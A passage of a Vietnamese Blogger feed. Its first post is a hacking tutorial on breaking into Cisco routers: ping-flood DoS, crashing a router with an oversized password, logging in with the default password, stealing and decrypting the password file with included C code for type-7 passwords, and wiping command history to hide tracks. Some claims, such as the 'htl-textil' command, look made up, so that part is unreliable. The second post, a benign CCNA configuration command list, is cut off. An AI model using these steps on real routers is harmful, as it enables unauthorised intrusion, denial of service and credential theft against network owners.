/&gt;- nếu ai đó gửi cho bạn một email với một đoạn mà java tóm IP, họ cũng có thể tóm được IP của bạn&lt;br /&gt;&lt;br /&gt;Có rất nhiều cách tóm địa chỉ IP, bao gồm cả việc sử dụng các chương trình back-door như Sub7 hoặc NetBus.&lt;br /&gt;Thế nào là một ISP?&lt;br /&gt;&lt;br /&gt;ISP viết tắt cho Internet Service Provider, đó là những công ty mang internet đến cho bạn. Bạn kết nối đến họ mỗi khi bạn dial-up và tạo một kết nối. Mọi người có thế phát hiện ra ISP của bạn chỉ đơn giản bằng cách traceroute bạn (traceroute sẽ được giải thích sau). Nó sẽ trông như thế này:&lt;br /&gt;&lt;br /&gt;tracert 222.222.22.22&lt;br /&gt;&lt;br /&gt;Tracing route to [221.223.24.54]&lt;br /&gt;over a maximum of 30 hops.&lt;br /&gt;1 147ms 122ms 132ms your.isp [222.222.22.21]&lt;br /&gt;2 122ms 143ms 123ms isp.firewall [222.222.22.20]&lt;br /&gt;3 156ms 142MS 122ms aol.com [207.22.44.33]&lt;br /&gt;4 * * * Request timed out&lt;br /&gt;5 101ms 102ms 133ms cisco.router [194.33.44.33]&lt;br /&gt;6 233ms 143ms 102ms something.ip [111.11.11.11]&lt;br /&gt;7 222ms 123ms 213ms netcom.com [122.11.21.21]&lt;br /&gt;8 152ms 211ms 212ms blahblah.tts.net [121.21.21.33]&lt;br /&gt;9 122ms 223ms 243ms altavista.34.com [121.22.32.43] &lt;&lt;&lt; target's isp&lt;br /&gt;10 101ms 122ms 132ms 221.223.24.54.altavista.34.com [221.223.24.54]&lt;br /&gt;Trace complete.&lt;br /&gt;Gói tin TCP/IP là gì?&lt;br /&gt;&lt;br /&gt;TCP/IP viết tắt cho Transmission Control Protocol and Internet Protocol, a Gói tin TCP/IP là một khối dữ liệu đã được nén, sau đó kèm thêm một header và gửi đến một máy tính khác. Đây là cách thức truyền tin của internet, bằng cách gửi các gói tin. Phần header trong một gói tin chứa địa chỉ IP của người gửi gói tin. Bạn có thể viết lại một gói tin và làm cho nó trong giống như đến từ một người káhc!! Bạn có thể dùng cách này để tìm cách truy nhập vào rất nhiều hệ thống mà không bị bắt. Bạn sẽ phải chạy trên Linux hoặc có một chương trình cho phép bạn làm điều này. Bài giảng này sẽ không đưa ra cách sử dụng biện pháp này trên bộ dẫn đường Cisco, những sẽ nằm trong tầm tay khi hack vào một hệ thống. Nếu gặp rắc rối khi bạn thử hack vào một hệ thống, sử dụng cách này...&lt;br /&gt;Làm thế nào để giấi IP của bạn:&lt;br /&gt;&lt;br /&gt;Tìm một chương trình như Genius 2 hoặc DC IS, chúng sẽ cho phép bạn chạy IdentD. Các chương trình này sẽ thay đổi phần đầu của IP máy tính của bạn ngay lập tức! Dùng cách này khi bạn bị đuổi ra khỏi IRC chat room.... bạn sẽ có thể quay lại ngay lập tức! Bạn cũng có thể sử dụng cách này khi bạn truy nhập vào một hệ thống khác và như thế nó sẽ log id sai&lt;br /&gt;Sử dụng telnet :&lt;br /&gt;&lt;br /&gt;Bạn mở telnet đơn giản băng cách chọn Start Menu rồi Run và gõ "telnet".&lt;br /&gt;&lt;br /&gt;Một khi bạn đã mở được telnet, bạn sẽ muốn thay đổi một vài tính năng. Chọn Terminal&gt;Preferences. Tại đây bạn có thể thay đổi kích thước vùng đệm font, và một cái thứ nữa. Bạn cũng có thể bật/tắt "local echo", nếu bạn bật,&lt;br /&gt;máy tính sẽ hiển thị mọi thứ bạn gõ vào, và các máy tính khác cũng sẽ hiện cho bạn thấy.&lt;br /&gt;Và bạn có thể sẽ nhận được những thông điệp tương tự như thế này.&lt;br /&gt;&lt;br /&gt;bạn gõ "hello", và bạn nhận được&lt;br /&gt;hhelelollo&lt;br /&gt;&lt;br /&gt;Điều này xảy ra bởi vì thông tin đã phản hồi lại và những gì nhận được là những gì bạn đã gõ. Lí do duy nhất tôi dùng chương trình này bởi lẽ nó không trả về những gì bạn gõ&lt;br /&gt;Mặc định, telnet sẽ kết nối với một hệ thống bằng cổng telnet, cổng số 23. Và từ bây giờ bạn sẽ không chỉ kết nối băng cổng 23, và khi bạn kết nối, bạn có thể chọn đổi sang dùng cổng 25 chẳng hạn, cổng này được dùng bởi các mail servers. Hoặc có thể là cổng 21, cho FTP. Có hàng nghì cổng, cho nên bạn phải chọn đúng cổng cần thiết&lt;br /&gt;Sử dụng HyperTerminal:&lt;br /&gt;&lt;br /&gt;HyperTerminal cho phép bạn thiết lập một "server" trên bất kì cổng nào của máy tính của bạn để thu nhận thông tin đến từ các máy tính nhất định. Để làm được điều này, chọn Start &gt; Programs &gt; Accessories &gt; Communications &gt; HyperTerminal.&lt;br /&gt;Đầu tiên bạn cần phải lựa chọn kết nối, bấm "TCP/IP Winsock", và sau đó đặt vào máy tính mà bạn kết nối với, và số cổng. Bạn có thể sai khiến nó nghe ngóng đầu vào bằng cách chọn Call&gt;Wait for Call. Và bây giờ các máy tính khác có thể kết nối với bạn bằng cổng đó, và bạn có thể chat hay truyền file.&lt;br /&gt;Sử dụng Ping:&lt;br /&gt;&lt;br /&gt;Ping thật dễ dàng, chỉ cần mở MS-DOS, và gõ "ping địa_chỉ_ip", mặc định sẽ ping 4 lần, nhưng bạn cũng có thể gõ&lt;br /&gt;&lt;br /&gt;"ping ip.address -t"&lt;br /&gt;&lt;br /&gt;Cách này sẽ làm máy ping mãi. Để thay đổi kích thước ping làm như sau:&lt;br /&gt;"ping -l (size) địa_chỉ_ip "&lt;br /&gt;Cái ping làm là gửi một gói tin đến một máy tính, sau đó xem xem mất bao lâu gói tin rồi xem xem sau bao lâu gói tin đó quay trở lại, cách này xác định được tốc độ của kết nối, và thời gian cần để một gói tin đi và quay trở lại và chia bốn (gọi là "trip time"). Ping cũng có thể được dùng để làm chậm đi hoặc đổ vỡ hệ thống bằng lụt ping. Windows 98 treo sau một phút lụt ping (Bộ đệm của kết nối bị tràn – có qua nhiều kết nối, nên Windows quyết định cho nó đi nghỉ một chút). Một cuộc tấn công “ping flood” sẽ chiếm rất nhiều băng thông của bạn, và bạn phải có băng thông lớn hơn đối phương ( trừ khi đối phương là một máy chạy Windows 98 và bạn có một modem trung bình, bằng cách đó bạn sẽ hạ gục đối phương sau xấp xỉ một phút lụt ping). Lụt Ping không hiệu quả lắm đổi với những đối phương mạnh hơn một chút. trừ khi bạn có nhiều đường và bạn kiểm soát một số lượng tương đối các máy chủ cùng ping mà tổng băng thông lơn hơn đối phương.&lt;br /&gt;Chú ý: option –t của DOS không gây ra lụt ping, nó chỉ ping mục tiêu một cách liên tục, với những khoảng ngắt quãng giữa hai lần ping liên tiếp. Trong tất cả các hệ Unix hoặc Linux, bạn có thể dùng ping -f để gây ra lụt thực sự. Thực tế là phải ping -f nếu bạn dùng một bản tương thích POSIX (POSIX - Portable Operating System Interface dựa trên uniX), nếu không nó sẽ không phải là một bản Unix/Linux thực sự, bởi vậy nếu bạn dùng một hệ điều hành mà nó tự cho nó là Unix hay Linux, nó sẽ có tham số -f.&lt;br /&gt;&lt;br /&gt;Sử dụng TraceRoute:&lt;br /&gt;&lt;br /&gt;Để lần theo kết nối của bạn(và xem tất cả các máy tính nằm giữa bạn và mục tiêu), chỉ cần mở MS-DOS prompt, và gõ "tracert địa_chỉ_ip" và bạn sẽ thấy một danh sách các máy tính nằm trên đường giưa máy tính bạn và đối phương.&lt;br /&gt;&lt;br /&gt;Bạn có thể dùng cách này để xác định xem liệu có firewalls chặn? Và cách này cũng cho phép xác định ISP của một ai đó (Internet Service Provider).&lt;br /&gt;&lt;br /&gt;Để xác định ISP, chỉ việc đơn giản xem địa chỉ IP trước cái cuối cùng, đây chắc chắn là một trong các bộ dẫn đường của một ISP.&lt;br /&gt;&lt;br /&gt;Bản chất là gì? Đây là cách mà traceroute làm việc - một gói tin TCP/IP có một giá trị trong phần đầu (đó là phần IP. Nếu bạn không biết nó là gì, hãy bỏ qua vàthen ignore nó và đọc tiếp, điều đó không quan trọng) gọi là TTL, viết tăt cho Time To Live. Một khi gói tin đi qua một bộ dẫn đường thì TTL của nó bị trừ đi một. Đây là cách một bộ đếm chống lại khả năng xảy ra lỗi và một gói tin sẽ bắn ra khắp nơi trên mạng, và lãng phí băng thông.&lt;br /&gt;Cho nên khi một TTL cua một gói tin bằng 0, nó sẽ chết và một lỗi ICMP được gửi trả về người gửi.&lt;br /&gt;Bởi thế, đầu tiên traceroute gửi đi một gói tin có TTL bằng 1. Gói tin sẽ trở lại nhanh chóng, qua việc nhận biết địa chỉ người gử trong phần đầu của thông báo lỗi ICMP, traceroute biết gói tin đã ở đâu trong lần bắn đầu tiên. Sau đó nó gửi một gói tin với TTL có giá trị là 2, và nhận được kết quả trả về của lần bắn 2, mang theo định danh của máy. Và điều này xả ra cho đến khi gói tin đến đích.&lt;br /&gt;&lt;br /&gt;Thật thú vị phải không? :-)&lt;br /&gt;&lt;br /&gt;Sử dụng proxy server:&lt;br /&gt;&lt;br /&gt;Hãy tìm một proxy server chạy trên một cổng mà bạn chọn. Một khi bạn tìm ra, kết nối đến nó bằng telnet hoặc hyperterminal và sau đó nối đến máy tính khác bằng proxy server. Bằng cách này máy tính ở đầu kia sẽ không biết được địa IP của bạn.&lt;br /&gt;----------------------------------&lt;br /&gt;&lt;br /&gt;Phần 1: Tại sao lại hack cisco router?&lt;br /&gt;&lt;br /&gt;Có thể bạn thắc mắc.. tại sao lại hack cisco router?&lt;br /&gt;&lt;br /&gt;Lí do là chúng thật là hữu ích để bẻ khoá các hệ thống khác...&lt;br /&gt;&lt;br /&gt;Cisco routers rất nhanh, một số có tốc độ kết nối 18 T1 trên một hệ thống, và chúng rất linh hoạt và chúng có thể sử dụng cho các cuộc tấn công DoS hoặc hack vào các hệ thống khác bởi vì hầu hết chúng chạy telnet.&lt;br /&gt;&lt;br /&gt;Có hàng nghìn gói tin chạy qua chúng một lúc, và ta có thể bắt và giải mã các gói tin... Rất nhiều cisco routers được tin cậy, và cho phép bạn truy nhập nhất định vào các máy tính khác trong mạng của nó.&lt;br /&gt;&lt;br /&gt;----------------------------------&lt;br /&gt;Phần 2: Tìm một cisco router&lt;br /&gt;&lt;br /&gt;Tìm bộ dẫn đường Cisco là công việc tương đối dễ, hầu hế mỗi ISP đều dẫn qua ít nhất một cisco router. Cách dễ nhất để tìm ra một bộ dẫn đường Cisco là chạy traceroute từ dos (gõ "tracert" và địa chỉ IP của một máy tính khác), bạn có thể lần ra nhiều thông tin nhờ các máy tính mà nó hiện ra giữa máy tính bạn và máy tính của họ. Một trong số những hệ thống này có thể có cụm từ "cisco" trong tên của nó. Nếu bạn tìm thấy điều gì đó tương tự như vậy, hãy copy lại địa chỉ IP của nó.&lt;br /&gt;&lt;br /&gt;Giờ đây bạn đã biết nơi có một cisco router, nhưng nó có thể được bảo vệ bởi firewall, bạn nên kiểm tra xem nó có được bảo vệ không bằng cách ping nó một vài lần, nếu bạn nhận được trả lời thì có thể là nó không bị khoá. Một cách làm khác là thử truy nhập vào một số cổng của cisco router, điều này được thực hiện dễ dàng bằng cách sử dụng telnet, và tạo một kết nối tới router bằng cổng 23.. Nếu nó đòi password, mà không hỏi username nghĩa là bạn đang kề bên router, nhưng nếu nó đòi username, thì có lẽ là đã bị firewall.&lt;br /&gt;Thử tìm một router không có firewall, bởi lẽ bài giảng này tutorial là về routers chứ không phải về cách qua firewalls. Khi bạn đã tìm ra một hệ thống ổn định, bạn cần tìm một proxy server cho phép sử dụng cổng 23, bằng cách này IP của bạn sẽ không bị lưu lại bởi router.&lt;br /&gt;&lt;br /&gt;---------------------------------&lt;br /&gt;Phần 3: Đột nhập cisco router&lt;br /&gt;&lt;br /&gt;Các Cisco router chạy phiên bản v4.1 (hiện còn rất phổ biến) có thể hạ gục dễ dàng. Bạn chỉ cần kết nối với router bằng cổng 23 qua proxy server, và nhập vào một chuỗi password KHỔNG LỒ, như là;&lt;br /&gt;&lt;br /&gt;10293847465qpwoeirutyalskdjfhgzmxncbv019dsk1029384 7465qpwoeirutyalskdjfhgzmxncbv019&lt;br /&gt;dsk10293847465qpwoeirutyalskdjfhgzmxncbv019dsk1029 3847465qpwoeirutyalskdjfhgzmxncbv&lt;br /&gt;019dsk10293847465qpwoeirutyalskdjfhgzmxncbv019dsk1 0293847465qpwoeirutyalskdjfhgzmx&lt;br /&gt;ncbv019dsk10293847465qpwoeirutyalskdjfhgzmxncbv019 dsk10293847465qpwoeirutyalskdjfh&lt;br /&gt;gzmxncbv019dsk&lt;br /&gt;&lt;br /&gt;Chờ một chút, hệ thống cisco có thể sẽ khởi động lại, trong trường hợp đó bạn sẽ không hack được bởi vì chúng offline.. Nhưng chúng thường treo khoảng 2-10 phút, và bạn có thể thâm nhập được.&lt;br /&gt;&lt;br /&gt;Nếu cả hai trường hợp đều không xảy ra, nghĩa là nó không chạy phần mềm ngon ăn, trong trường đó bạn có thể thử một vài kiểu tấn công DoS, giống như một lượng ping khổng lồ. Mở dos và gõ "ping -l 56550 cisco.router.ip -t", this will do the same trick for you.&lt;br /&gt;&lt;br /&gt;Khi bị treo, mở một kết nối khác đến một vài proxy khác, và dùng password "admin", lí do vì đây là mật khẩu mặc định của router, và khi nó tạm thời bị ngắt nó sẽ chuyển sang chế độ mặc định.&lt;br /&gt;&lt;br /&gt;Khi bạn đã đăng nhập, bạn cần giành lấy file password ! Các hệ thống chạy những phần mềm khác nhau nhưng đa số sẽ có lệnh "htl-textil" hoặc gì đó, bạn gõ "?" để hiện ra danh sách các lệnh, bạn sẽ thấy một danh sách khổng lồ các lệnh, ở đâu đó bạn sẽ thấy một lệnh chuyển đổi, dùng nó để lấy password file của admin (người dùng hiện tại) và gửi đến địa chỉ IP ở cổng 23. Nhưng trước khi làm vậy, hãy đặt HyperTerminal chờ thông tin từ cisco router. Một khi bạn gửi file file, HyperTerminal sẽ hỏi xem bạn có đồng ý nhận file này không, chọn đồng ý và lưu nó xuống đĩa. Thoát.&lt;br /&gt;&lt;br /&gt;Bạn đã qua phần khó khăn nhất, nghỉ một chút và chuẩn bị phá password!&lt;br /&gt;&lt;br /&gt;------------------------------&lt;br /&gt;Phần 4: phá password&lt;br /&gt;&lt;br /&gt;Giờ đây bạn đã có được file password, bạn cần phải bẻ khoá nó thì mới có thể truy nhập access router lần nữa. Để làm việc này cần chạy một chương trình đại loại như John the Ripper hoặc một chương trình nào khác để bẻ file password, và bạn có thể bẻ khoá được nó.&lt;br /&gt;&lt;br /&gt;Đây là cách dễ nhất, và tôi khuyên bạn dùng cách này. Một cách có thể thử bẻ khoá chúng. Để làm vạy bạn cần một phần mềm giải mã, phải thật kiên nhẫn.&lt;br /&gt;&lt;br /&gt;Để giải mã cisco password, bạn phải dịch đoạn mã sau trong linux:&lt;br /&gt;&lt;br /&gt;#include&lt;br /&gt;#include&lt;br /&gt;&lt;br /&gt;char xlat[] = {&lt;br /&gt;0x64, 0x73, 0x66, 0x64, 0x3b, 0x6b, 0x66, 0x6f,&lt;br /&gt;0x41, 0x2c, 0x2e, 0x69, 0x79, 0x65, 0x77, 0x72,&lt;br /&gt;0x6b, 0x6c, 0x64, 0x4a, 0x4b, 0x44&lt;br /&gt;};&lt;br /&gt;&lt;br /&gt;char pw_str1[] = "password 7 ";&lt;br /&gt;char pw_str2[] = "enable-password 7 ";&lt;br /&gt;&lt;br /&gt;char *pname;&lt;br /&gt;&lt;br /&gt;cdecrypt(enc_pw, dec_pw)&lt;br /&gt;char *enc_pw;&lt;br /&gt;char *dec_pw;&lt;br /&gt;{&lt;br /&gt;unsigned int seed, i, val = 0;&lt;br /&gt;&lt;br /&gt;if(strlen(enc_pw) &amp; 1)&lt;br /&gt;return(-1);&lt;br /&gt;&lt;br /&gt;seed = (enc_pw[0] - '0') * 10 + enc_pw[1] - '0';&lt;br /&gt;&lt;br /&gt;if (seed &gt; 15 || !isdigit(enc_pw[0]) || !isdigit(enc_pw[1]))&lt;br /&gt;return(-1);&lt;br /&gt;&lt;br /&gt;for (i = 2 ; i &lt;= strlen(enc_pw); i++) {&lt;br /&gt;if(i !=2 &amp;&amp; !(i &amp; 1)) {&lt;br /&gt;dec_pw[i / 2 - 2] = val ^ xlat[seed++];&lt;br /&gt;val = 0;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;val *= 16;&lt;br /&gt;&lt;br /&gt;if(isdigit(enc_pw[i] = toupper(enc_pw[i]))) {&lt;br /&gt;val += enc_pw[i] - '0';&lt;br /&gt;continue;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;if(enc_pw[i] &gt;= 'A' &amp;&amp; enc_pw[i] &lt;= 'F') {&lt;br /&gt;val += enc_pw[i] - 'A' + 10;&lt;br /&gt;continue;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;if(strlen(enc_pw) != i)&lt;br /&gt;return(-1);&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;dec_pw[++i / 2] = 0;&lt;br /&gt;&lt;br /&gt;return(0);&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;usage()&lt;br /&gt;{&lt;br /&gt;fprintf(stdout, "Usage: %s -p \n", pname);&lt;br /&gt;fprintf(stdout, " %s \n", pname);&lt;br /&gt;&lt;br /&gt;return(0);&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;main(argc,argv)&lt;br /&gt;int argc;&lt;br /&gt;char **argv;&lt;br /&gt;&lt;br /&gt;{&lt;br /&gt;FILE *in = stdin, *out = stdout;&lt;br /&gt;char line[257];&lt;br /&gt;char passwd[65];&lt;br /&gt;unsigned int i, pw_pos;&lt;br /&gt;&lt;br /&gt;pname = argv[0];&lt;br /&gt;&lt;br /&gt;if(argc &gt; 1)&lt;br /&gt;{&lt;br /&gt;if(argc &gt; 3) {&lt;br /&gt;usage();&lt;br /&gt;exit(1);&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;if(argv[1][0] == '-')&lt;br /&gt;{&lt;br /&gt;switch(argv[1][1]) {&lt;br /&gt;case 'h':&lt;br /&gt;usage();&lt;br /&gt;break;&lt;br /&gt;&lt;br /&gt;case 'p':&lt;br /&gt;if(cdecrypt(argv[2], passwd)) {&lt;br /&gt;fprintf(stderr, "Error.\n");&lt;br /&gt;exit(1);&lt;br /&gt;}&lt;br /&gt;fprintf(stdout, "password: %s\n", passwd);&lt;br /&gt;break;&lt;br /&gt;&lt;br /&gt;default:&lt;br /&gt;fprintf(stderr, "%s: unknow option.", pname);&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;return(0);&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;if((in = fopen(argv[1], "rt")) == NULL)&lt;br /&gt;exit(1);&lt;br /&gt;if(argc &gt; 2)&lt;br /&gt;if((out = fopen(argv[2], "wt")) == NULL)&lt;br /&gt;exit(1);&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;while(1) {&lt;br /&gt;for(i = 0; i &lt; 256; i++) {&lt;br /&gt;if((line[i] = fgetc(in)) == EOF) {&lt;br /&gt;if(i)&lt;br /&gt;break;&lt;br /&gt;&lt;br /&gt;fclose(in);&lt;br /&gt;fclose(out);&lt;br /&gt;return(0);&lt;br /&gt;}&lt;br /&gt;if(line[i] == '\r')&lt;br /&gt;i--;&lt;br /&gt;&lt;br /&gt;if(line[i] == '\n')&lt;br /&gt;break;&lt;br /&gt;}&lt;br /&gt;pw_pos = 0;&lt;br /&gt;line[i] = 0;&lt;br /&gt;&lt;br /&gt;if(!strncmp(line, pw_str1, strlen(pw_str1)))&lt;br /&gt;pw_pos = strlen(pw_str1);&lt;br /&gt;&lt;br /&gt;if(!strncmp(line, pw_str2, strlen(pw_str2)))&lt;br /&gt;pw_pos = strlen(pw_str2);&lt;br /&gt;&lt;br /&gt;if(!pw_pos) {&lt;br /&gt;fprintf(stdout, "%s\n", line);&lt;br /&gt;continue;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;if(cdecrypt(&amp;line[pw_pos], passwd)) {&lt;br /&gt;fprintf(stderr, "Error.\n");&lt;br /&gt;exit(1);&lt;br /&gt;}&lt;br /&gt;else {&lt;br /&gt;if(pw_pos == strlen(pw_str1))&lt;br /&gt;fprintf(out, "%s", pw_str1);&lt;br /&gt;else&lt;br /&gt;fprintf(out, "%s", pw_str2);&lt;br /&gt;&lt;br /&gt;fprintf(out, "%s\n", passwd);&lt;br /&gt;}&lt;br /&gt;}&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;Nếu bạn không có Linux, chỉ còn nước bẻ password bằng cách tấn công từ điển hoặc brute-force file đó bằng John the Ripper hoặc một chương trình bẻ khoá khác.&lt;br /&gt;&lt;br /&gt;-------------------------------&lt;br /&gt;Phần 5: Sử dụng router&lt;br /&gt;&lt;br /&gt;Để sử dụng thiết bị cao cấp tuyệt vời này, bạn phải kết nối tới chúng, sử dụng proxy nếu không muốn IP của bạn log. Khi đã đăng nhập, bạn nên tắt phần history để không ai có thể biết bạn đã làm gì, gõ vào "terminal history size 0". Và nó sẽ chẳng ghi lại gì! Gõ "?" để hiện một danh sách tất cả các lệnh của router, và bạn sẽ dùng được hầu hết trong số chúng.&lt;br /&gt;&lt;br /&gt;Các router thường có telnet, và bạn có thể dùng telnet để kết nối connect tới các hệ thống khác, (như một hệ unix) và hack chúng. Nó cũng được trang bị ping và traceroute-bạn có thể sử dụng chúng để theo dõi hệ thống hoặ tấn công DoS. Bạn còn có thể sử dụng nó để bắt các gói tin, nhưng tôi khuyên bạn không nên, bởi lẽ không phải lúc nào nó cũng hoạt động, và có thể làm cho bạn bị phát hiện...&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;(Sưu Tầm)&lt;br /&gt;&lt;br /&gt;url:http://www.ddcntt.vn/forum/showthread.php?t=396&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7839070010570067615-5841354094527159544?l=nhim11.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nhim11.blogspot.com/feeds/5841354094527159544/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7839070010570067615&amp;postID=5841354094527159544' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7839070010570067615/posts/default/5841354094527159544'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7839070010570067615/posts/default/5841354094527159544'/><link rel='alternate' type='text/html' href='http://nhim11.blogspot.com/2008/10/cch-tn-cng-h-thng-cisco.html' title='Cách tấn công hệ thống Cisco!!!'/><author><name>DaiCa</name><uri>http://www.blogger.com/profile/04194429836072295672</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7839070010570067615.post-8474476766822889529</id><published>2008-10-02T03:52:00.000-07:00</published><updated>2008-10-02T03:54:00.837-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Cisco Configuration Command'/><category scheme='http://www.blogger.com/atom/ns#' term='Cisco Switch'/><category scheme='http://www.blogger.com/atom/ns#' term='Cisco Router'/><title type='text'>Tất cả các lệnh cấu hình trong CCNA theo chuyên mục</title><content type='html'>Phần 1. Routing - Định Tuyến (Các giao thức phức tạp)&lt;br /&gt;OSPF.&lt;br /&gt;&lt;br /&gt;Note: Tất cả những router có cùng area phải cấu hình giống nhau tất cả các thông số thì khu vực đó mới hoạt động đúng chức năng được.&lt;br /&gt;&lt;br /&gt;1. Cấu hình cơ bản&lt;br /&gt;&lt;br /&gt;Router(config)#router ospf process ID&lt;br /&gt;Router(config-router)#network Network_number Wildcard_mask area_ID&lt;br /&gt;&lt;br /&gt;2. Cấu hình priority ở các interface để bầu DR và BDR&lt;br /&gt;&lt;br /&gt;Priority càng lớn thì khả năng được bầu làm DR càng cao, ngược với bầu Root brige của Switch, càng nhỏ thì lại càng được bầu.&lt;br /&gt;&lt;br /&gt;Router(config)#interface fastethernet 0/0&lt;br /&gt;Router(config-int)#ip ospf priority 55&lt;br /&gt;&lt;br /&gt;Sau khi cấu hình xong priority có thể kiểm tra bằng lệnh.&lt;br /&gt;&lt;br /&gt;Router# show ip ospf interface f0/0&lt;br /&gt;&lt;br /&gt;3. Chỉnh sửa lại OSPF cost metric trong mỗi interface&lt;br /&gt;&lt;br /&gt;Cost càng nhỏ thì tuyến đó càng được coi là best path&lt;br /&gt;&lt;br /&gt;Router(config-int)#ip ospf cost 1&lt;br /&gt;&lt;br /&gt;4.Cấu hình OSPF Authentication ở các interface và áp dùng vào router&lt;br /&gt;&lt;br /&gt;Authentication key được hiểu như là password để các router trong cùng một vùng chia sẻ với nhau.&lt;br /&gt;&lt;br /&gt;a.Cấu hình authentication đơn giản&lt;br /&gt;&lt;br /&gt;Router(config-if)#ip ospf authentication-key password&lt;br /&gt;Router(config-router)#area area number authentication&lt;br /&gt;&lt;br /&gt;b.Cấu hình authentication theo dạng mã hoá, bảo mật cao.&lt;br /&gt;&lt;br /&gt;Router(config-if)ip ospf message-digest-key key ID md5 encryption-type key&lt;br /&gt;Router(config-router)#area area ID authentication message-digest&lt;br /&gt;&lt;br /&gt;5.Cấu hình OSPF timer trong các interface&lt;br /&gt;&lt;br /&gt;Router(config-if)ip ospf hello-interval timer&lt;br /&gt;Router(config-if)ip ospf dead-interval timer&lt;br /&gt;&lt;br /&gt;6.Cấu hình quảng bá một tuyến mặc định trong OSPF&lt;br /&gt;&lt;br /&gt;Router(config-router)#default-information originate&lt;br /&gt;&lt;br /&gt;7.Quảng bà một tuyến khác (không phải là default)&lt;br /&gt;&lt;br /&gt;Router(config-router)#redistribute protocols subnets&lt;br /&gt;&lt;br /&gt;8.Các lệnh show dùng để kiểm tra cấu hình OSPF&lt;br /&gt;&lt;br /&gt;show ip protocol&lt;br /&gt;show ip route&lt;br /&gt;show ip ospf&lt;br /&gt;show ip ospf interface&lt;br /&gt;show ip ospf database&lt;br /&gt;show ip ospf neighbor detail&lt;br /&gt;clear ip route *&lt;br /&gt;debug ip ospf events&lt;br /&gt;debug ip ospf adj&lt;br /&gt;&lt;br /&gt;EIGRP&lt;br /&gt;&lt;br /&gt;1.Cấu hình cơ bản.&lt;br /&gt;&lt;br /&gt;Router(config)#router eigrp autonomous number&lt;br /&gt;Router(config-router)#network network number&lt;br /&gt;Router(config-router)#eigpr log-neighbor-changes (Không có cũng được)&lt;br /&gt;Router(config-router)#no auto-summary&lt;br /&gt;&lt;br /&gt;2.Thay đổi băng thông và tự tổng hợp tuyến trong interface&lt;br /&gt;&lt;br /&gt;Router(config-if)#bandwidth kilobits&lt;br /&gt;Router(config-if)#ip summary-address protocol AS network number subnets mask&lt;br /&gt;&lt;br /&gt;3.Cân bằng tải trong EIGRP&lt;br /&gt;&lt;br /&gt;Router(config-router)#variance number&lt;br /&gt;&lt;br /&gt;4.Quảng bá default route&lt;br /&gt;&lt;br /&gt;Cách 1:&lt;br /&gt;Router(config)#ip route 0.0.0.0 0.0.0.0 [interface/nexthop]&lt;br /&gt;Router(config)#redistribute static&lt;br /&gt;&lt;br /&gt;Cách 2:&lt;br /&gt;Router(config)#ip default-network network number&lt;br /&gt;&lt;br /&gt;Cách 3:&lt;br /&gt;Router(config-if)#ip summary-network eigrp AS number 0.0.0.0 0.0.0.0&lt;br /&gt;&lt;br /&gt;5.Quảng bá các tuyến khác trong EIGRP (không phải là default)&lt;br /&gt;&lt;br /&gt;Router(config-router)#redistribute protocol process ID metrics k1 k2 k3 k4 k5&lt;br /&gt;Ex: Router(config-router)#redistribute ospf metrics 100 100 100 100 100&lt;br /&gt;&lt;br /&gt;6.Chia sẻ traffic trong EIGRP&lt;br /&gt;&lt;br /&gt;Router(config-router)#traffic share {balanced/min}&lt;br /&gt;&lt;br /&gt;7.Các lệnh kiểm tra cấu hình EIGRP&lt;br /&gt;&lt;br /&gt;&lt;!--[if !supLists]--&gt;- &lt;!--[endif]--&gt;show ip eigrp neighbor&lt;br /&gt;&lt;!--[if !supLists]--&gt;- &lt;!--[endif]--&gt;show ip eigrp interface&lt;br /&gt;&lt;!--[if !supLists]--&gt;- &lt;!--[endif]--&gt;show ip eigrp topology&lt;br /&gt;&lt;!--[if !supLists]--&gt;- &lt;!--[endif]--&gt;show ip eigrp traffic&lt;br /&gt;&lt;!--[if !supLists]--&gt;- &lt;!--[endif]--&gt;debug eigrp fsm&lt;br /&gt;&lt;!--[if !supLists]--&gt;- &lt;!--[endif]--&gt;debug eigrp packet&lt;br /&gt;&lt;br /&gt;Phần 2. Switching - Chuyển mạch&lt;br /&gt;&lt;br /&gt;1.Cấu hình cơ bản chung cho một Switch&lt;br /&gt;&lt;br /&gt;Reset tất cả cấu hình của Switch và reload lại.&lt;br /&gt;&lt;br /&gt;Switch#delete flash:vlan.dat&lt;br /&gt;Switch#erase startup-config&lt;br /&gt;Switch#reload&lt;br /&gt;&lt;br /&gt;2.Cấu hình về Security và management&lt;br /&gt;&lt;br /&gt;Switch(config)#hostname tên switch&lt;br /&gt;Switch(config)#line console 0&lt;br /&gt;Switch(config-line)#password mật khẩu&lt;br /&gt;Switch(config-line)#login&lt;br /&gt;&lt;br /&gt;Switch(config)#line vty 0 4&lt;br /&gt;Switch(config-line)#pass mật khẩu&lt;br /&gt;Switch(config-line)#login&lt;br /&gt;&lt;br /&gt;3.Thiết lập địa chỉ IP và default gateway cho Switch&lt;br /&gt;&lt;br /&gt;Switch(config)#interface vlan1&lt;br /&gt;Switch(config-int)#ip address địa chỉ subnetmask&lt;br /&gt;Switch(config)#ip default-gateway địa chỉ&lt;br /&gt;&lt;br /&gt;4.Thiết lập tốc độ và duplex của cổng&lt;br /&gt;&lt;br 